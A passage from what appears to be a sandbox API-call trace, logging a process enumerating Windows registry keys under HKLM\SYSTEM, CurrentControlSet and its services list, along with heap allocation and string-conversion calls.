cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.087] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.087] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.087] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.087] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.088] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.088] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.088] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.088] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.089] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.089] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.089] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.090] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.090] RegCloseKey (hKey=0xc4) returned 0x0 [0251.090] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.090] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.090] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.091] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.091] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.091] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.091] RegCloseKey (hKey=0x14c) returned 0x0 [0251.091] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.091] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.092] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.092] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.092] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.093] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, 